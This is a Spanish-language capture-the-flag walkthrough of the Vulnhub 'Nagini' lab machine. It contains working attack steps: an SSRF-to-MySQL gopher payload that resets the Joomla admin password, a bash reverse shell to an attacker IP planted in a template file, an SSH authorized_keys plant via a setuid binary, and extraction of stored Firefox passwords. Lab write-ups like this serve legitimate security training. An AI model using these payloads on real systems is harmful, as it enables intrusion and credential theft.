Nagini - Harry Potter
Walkthrough de la máquina Nagini de la serie de Harry Potter de Vulnhub
Nagini es la segunda de tres CTFs de la serie de Harry Potter en la cual tienes que encontrar 3 horcruxes (hay un total de 8 horcruxes escondidos a lo largo de las máquinas de la serie) para poder derrotar a Voldemort.
Escaneo de puertos
Comenzamos tratando de detectar todos los puertos que tenga abiertos el servidor. Para ello vamos hacer un escaneo contra todos los puertos (-p-
), con una plantilla de tiempo rápida (-T5
), mostrando únicamente los puertos abiertos (--open
), y deshabilitando la resolución DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap --open -p- -T5 -n -Pn 10.0.0.103
Resultado:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-24 17:23 CET Nmap scan report for 10.0.0.103 Host is up (0.013s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 5.22 seconds
De este escaneo de puertos podemos concluir que están abiertos los puertos 22 (SSH) y 80 (HTTP). Ahora que sabemos los puertos que están abiertos realizamos un escaneo más detallado para saber qué servicios corren en esos puertos y sus versiones (-sCV
):
nmap -p22,80 -sCV -Pn -n 10.0.0.103
Resultado:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-24 17:28 CET Nmap scan report for 10.0.0.103 Host is up (0.0074s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA) | 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA) |_ 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
Del resultado de este escaneo obtenemos los siguientes servicios y versiones:
22/TCP
: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)80/TCP
: HTTP - Apache httpd 2.4.38 ((Debian))
Análisis del servicio HTTP (80/TCP)
La home (/)
Lo primero que podemos hacer introducir la IP de la máquina en el navegador y ver qué está expuesto en el puerto 80:
A primera vista ya podemos ver que el único contenido de la página es la propia imagen,y que no utiliza ninguna tecnología ni carga ningún recurso externo, así que vamos tratar de listar más URLs de la apliacción.
Para listar más URLs vamos a usar Gobuster con un diccionario orientado a contenido web usando diferentes extensiones (-x
):
gobuster dir --url http://10.0.0.103 -x html,txt,php --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Resultado:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php,html [+] Timeout: 10s =============================================================== 2023/01/25 18:37:11 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 97] /note.txt (Status: 200) [Size: 234] /joomla (Status: 301) [Size: 309] [--> http://10.0.0.103/joomla/] /server-status (Status: 403) [Size: 275] =============================================================== 2023/01/25 18:43:16 Finished ===============================================================
Del resultado obtenemos que existen 3 rutas más que pueden ser interesantes:
- /note.txt: analizaremos a continuación
- /joomla: que nos redirige a /joomla/
- /server-status: al cual no podemos acceder porque nos da un error 403 Forbidden
La nota (/note.txt)
Lo primero que nos llama la atención es el fichero /note.txt
, así que vamos a ver qué contiene:
Hello developers!! I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications. All developers are requested to visit the server regularly for checking latest announcements. Regards, site_amdin
En la nota nos dice que está un servicio expuesto a través del protocolo HTTP3. Para hacer una petición mediante este protocolo tenemos que instalar la librería quiche siguiendo las instrucciones de la página. Tras hacer el build tramitamos la request:
cd target/debug/examples/ ./http3-client https://10.0.0.103
Obteniendo como resultado:
<html> <head> <title>Information Page</title> </head> <body> Greetings Developers!! I am having two announcements that I need to share with you: 1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers.So I will be removing the same by this week. 2. All developers are requested not to put any configuration's backup file (.bak) in main production servers as they are readable by every one. Regards, site_admin </body> </html>
De aquí obtenemos la siguiente información:
- La existencia de una nueva url:
/internalResourceFeTcher.php
- La posible existencia de ficheros
*.bak
.
Joomla (/joomla/)
Tras obtenera la información anterior, lo siguiente que podemos hacer es acceder a la segunda url que hemos obtenido y ver a qué nos enfrentamos (aunque es bastante evidente por el nombre de la url):
Como podemos observar, nos encontramos antes el login del CMS Joomla.
De manera adicional, podemos recabar un poco más de información utilizando la herramienta WhatWeb:
whatweb http://10.0.0.103/joomla/
Resultado:
http://10.0.0.103/joomla/ [200 OK] Apache[2.4.38], Bootstrap, Cookies[61d503cb58c868455ea4ba1b5621a5dc], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], HttpOnly[61d503cb58c868455ea4ba1b5621a5dc], IP[10.0.0.103], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json], Title[Home]
Al parecer WhatWeb, en este caso, no nos está proporcionando ninguna información que no supiéramos ya, así vamos a usar una herraminta más específica para escanear un CMS Joomla:
joomscan -u http://10.0.0.103/joomla/
Resultado (relevante):
... [+] Checking sensitive config.php.x file [++] Readable config file is found config file path : http://10.0.0.103/joomla/configuration.php.bak Your Report : reports/10.0.0.103/
De ahí podemos obtener la ruta de un fichero *.bak
tal cual habíamos leido en el HTML de la petición con HTTP/3. Ahora mediante curl obtenemos el fichero:
curl http://10.0.0.103/joomla/configuration.php.bak
Resultado (relevante):
<?php class JConfig { // ... public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'goblin'; public $password = ''; public $db = 'joomla'; // ... }
Este archivo .bak
nos da mucha información. Nos está indicando que en local hay una base de datos MySQL que no está expuesta (no hemos visto ningún puerto con este servicio abierto), cuyo usario es goblin, que no tiene contraseña, y que la información se encuentra en una base de datos llamada joomla.
The internals (/internalResourceFeTcher.php)
De la petición a través de HTTP/3 también obtuvimos que existía una url adicional, así que vamos a ver qué nos encontramos allí:
Lo primero que podemos hacer es poner "localhost" en el campo del formulario y darle a "Fetch". Lo que observamos es que está haciendo una petición al propio servidor, por lo que estamos ante un SSRF.
Contando con que sabemos que tenemos una base de datos MySQL sin contraseña y se da un SSRF, podemos hacer uso de Gopherus para realizar consultas sobre la misma mediante el protocolo Gopher.
Para usar Gopherous, primero lo instalamos siguiendo las instrucciones del propio repositorioa y continuación lo usamos Gopherus para generar las queries para obtener/confirmar la siguiente información usando el usuario goblin:
- joomla: base de datos
- joomla_users: tabla con los usuarios de Joomla
- site_admin: nombre del usuario
- username: nombre de la columna con los nombres de usuarios
- password: nombre de la columna con las contraseñas hasheadas
$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay
: hash de la contraseña
Lo primero que podemos intentar es crackear la contraseña con John the Ripper. Para ello, primero creamos un fichero con los hases (hashes.txt
):
site_admin:$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay
Y ejecutamos John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
A pesar de dejarlo un rato no vamos a conseguir la contraseña, así que lo que podemos intentar es actualizar la contraseña del usuarios mediante Gopher. Para eso primero generamos una nueva contraseña usando md5:
echo -n "test123456" | md5sum
Resultado:
47ec2dd791e31e2ef2076caf64ed9b3d -
A continuación generamos la query con Gopherus para modificar la contraseña del usuario:
________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______ / \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/ \ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \ \______ /\____/| __/|___| /\___ >__| |____//____ > \/ |__| \/ \/ \/ author: $_SpyD3r_$ For making it work username should not be password protected!!! Give MySQL username: goblin Give query to execute: USE joomla; update joomla_users set password='47ec2dd791e31e2ef2076caf64ed9b3d' where username='site_admin'; Your gopher link is ready to do SSRF : gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6d%00%00%00%03%55%53%45%20%6a%6f%6f%6d%6c%61%3b%20%75%70%64%61%74%65%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%20%73%65%74%20%70%61%73%73%77%6f%72%64%3d%27%34%37%65%63%32%64%64%37%39%31%65%33%31%65%32%65%66%32%30%37%36%63%61%66%36%34%65%64%39%62%33%64%27%20%77%68%65%72%65%20%75%73%65%72%6e%61%6d%65%3d%27%73%69%74%65%5f%61%64%6d%69%6e%27%3b%01%00%00%00%01 -----------Made-by-SpyD3r-----------
Introducimos esa cadena de texto, presionamos el botón "Fetch", y ya deberíamos poder autenticarlos en el panel de adeministración de Joomla, que se encuentra en /joomla/administrator
, con la nueva contraseña.
Ahora que ya tenemos acceso al panel de administración de Joomla, lo siguiente que tenemos que hacer es consguir una RCE. Para ello vamos a la sección de templates, y ahí hacemos click en "Protostar Details and Files". Una vez dentro, vamos a la página error.php
y la modificamos para que establezca una reverse shell a la máquina atacante:
<?php /** * @package Joomla.Site * @subpackage Templates.protostar * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Reverse shell os.system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.102/8888 0>&1'"); /** @var JDocumentError $this */ $app = JFactory::getApplication(); $user = JFactory::getUser();
A continuación, nos ponemos en escucha con Netcat:
nc -nlvp 8888
Recibiendo el mensaje de confirmación de que estamos escuchando:
listening on [any] 8888 ...
Y forzamos un error en lá página para que se ejecute la página de error. Un forma de provocarlo sería agregar "<>" a la url del index.php
(http://10.0.0.103/joomla/index.php/<>
). Tras ir a esa url se debería establecer una conexión a nuestro Netcat:
connect to [10.0.0.102] from (UNKNOWN) [10.0.0.103] 39902 www-data@Nagini:/var/www/html/joomla$
Como podemos ver, tenemos acceso a la máquina como el usuario www-data. Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash
, presionamos Ctrl + z
y hacemos un tratamiento de la tty con stty raw -echo; fg
. Hacemos reset
para reiniciar la configuración de la terminal, escribirmos xterm
como tipo de terminal y exportamos 2 variables de entorno:
export TERM=xterm
export SHELL=bash
Con esto ya deberíamos poder hacer Ctrl + c
para terminar la ejecución de un comando, o Ctrl + l
para limpiar la terminal. También podemos ir atrás en el histórico de comandos.
Si investigamos un poco por las carpetas de
/var/www
no tardamos mucho en encontrar el primer horcrux en/var/www/html/horcrux1.txt
:horcrux_{MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O}
Tras conseguir el primer horcrux podemos tratar de ver qué tienen los usuarios en sus respectivos directorios. Si listamos el contenido del directorio del usuario snape podemos encontrar un fichero sospechoso /home/snape/.creds.txt
. Si lo abrimos vemos lo siguiente:
TG92ZUBsaWxseQ==
Esto tiene pinta de ser un string en base 64, así que probamos a decodificar lo que tenemos en el fichero:
cat /home/snape/.creds.txt | base64 -d; echo
De ese comando obtenemos que el texto en claro es Love@lilly
. Si usamos ese texto como contraseña para conectarnos como el usuario snape mediante SSH podemos comprobar que es la contraseña correcta de ese usuario.
Ahora que ya tenemos una conexión mediante SSH podemos listar el directorio del usuario hermoine para ver qué encontramos allí. A primera vista vemos 3 cosas intersantes:
/home/hermoine/.mozilla
: puede tener credenciales de usuario, aunqué aún no tenemos acceso a este directorio/home/hermoine/horcrux2.txt
: segundo horcrux al que no tenemos permisos de lectura/home/hermoine/bin/su_cp
: binario que parece una copia del comandocp
pero con el setuid del usuario hermoine.
Usando ese binario, lo que vamos a hacer es intentar introuducir una clave pública (de la cual tengamos la clave privada nosotros) dentro de /home/hermoine/.ssh/authorized_keys
. Para ello generamos fichero authorized_keys
con el contenido de id_rsa.pub
, y la copiamos a la carpeta de claves de hermoine:
/home/hermoine/bin/su_cp authorized_keys /home/hermoine/.ssh/
Tras realizar esto intentamos conectarnos por SSH a la máquina víctima con el usuario hermoine usando la clave privada:
ssh hermoine@10.0.0.103 -i .ssh/id_rsa
Como podemos observar, no nos ha hecho falta ningún tipo de constraseña para conectarnos como el usuario hermoine al usar la clave como forma de autenticación.
Ahora ya tenemos permisos para poder ver el segundo horcrux (
/home/hermoine/horcrux2.txt
):horcrux_{NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=}
Una vez que estamos autenticados como hermoine, ya tenemos acceso a la carpeta /home/hermoine/.mozilla
, así que vamos a ver si podemos recuperar alguna credencial válida de ahí.
Si navegamos hasta .mozilla/firefox
podemos ver que tenemos un perfil (g2mhbq0o.default
) del cual podemos obtener tanto el fichero key4.db
como logins.json
. Usando estos 2 ficheros junto con la herramienta Firepwd podemos tratar de recuperar las contraseñas almacenadas.
Para ello instalamos la herramienta, nos traemos ambos ficheros y la ejecutamos:
python firepwd.py -d mozilla
Resultado(relevante):
... http://nagini.hogwarts:b'root',b'@Alohomora#123'
De la última línea de la ejecución obtenemos que la contraseña del usuario root es @Alohomora#123
, así que vamos a probar a ver si podemos conectarnos con SSH.
Una vez hemos hecho login como root podemos ver el tercer horcrux (
/root/horcrux3.txt
):horcrux_{NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=}